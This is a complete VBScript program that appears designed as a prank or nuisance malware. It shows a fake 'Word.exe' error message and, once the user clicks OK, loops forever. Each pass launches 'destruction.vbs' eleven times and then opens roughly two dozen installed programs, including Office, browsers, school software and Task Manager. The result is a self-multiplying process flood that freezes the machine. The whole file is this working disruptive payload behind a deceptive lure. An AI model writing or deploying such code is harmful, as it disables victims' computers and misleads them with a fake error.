Sub Main()
result = MsgBox ("Word.exe have not been found in the right directory", vbCritical, "Word.exe à cessé de fonctionner")

Select Case result
Case vbOk
Do
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "destruction.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "destruction.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "destruction.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "destruction.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "destruction.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "destruction.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "destruction.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "destruction.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "destruction.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "destruction.vbs"
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "destruction.vbs"
WScript.Sleep 5000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Scratch\Scratch.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\VideoLAN\VLC\vlc.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Philippe VALADON\RasTop\RasTop.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Internet Explorer\iexplore.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Mozilla Firefox\firefox.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Solve Elec 2.5\Solve Elec.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Windows Media Player\wmplayer.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Windows NT\Accessories\wordpad.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Sejer\BiblioManuels\BiblioManuels.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Hachette\educadhoc\educadhoc.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles%\GIMP 2\bin\gimp-2.8.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles%\7-Zip\7zFM.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Microsoft Office\root\Office16\EXCEL.EXE"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Microsoft Office\root\Office16\lync.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Microsoft Office\root\Office16\POWERPNT.EXE"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Microsoft Office\root\Office16\WINWORD.EXE"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%programfiles(x86)%\Microsoft Office\root\Office16\OUTLOOK.EXE"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """%userprofile%\AppData\Local\Google\Chrome\Application\chrome.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """explorer.exe"""
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run """taskmgr.exe"""
Loop

End Select
End Sub

On Error Resume Next
  Main
  If Err.Number Then
     WScript.Echo "Error on script"
     WScript.Quit 4711
  End If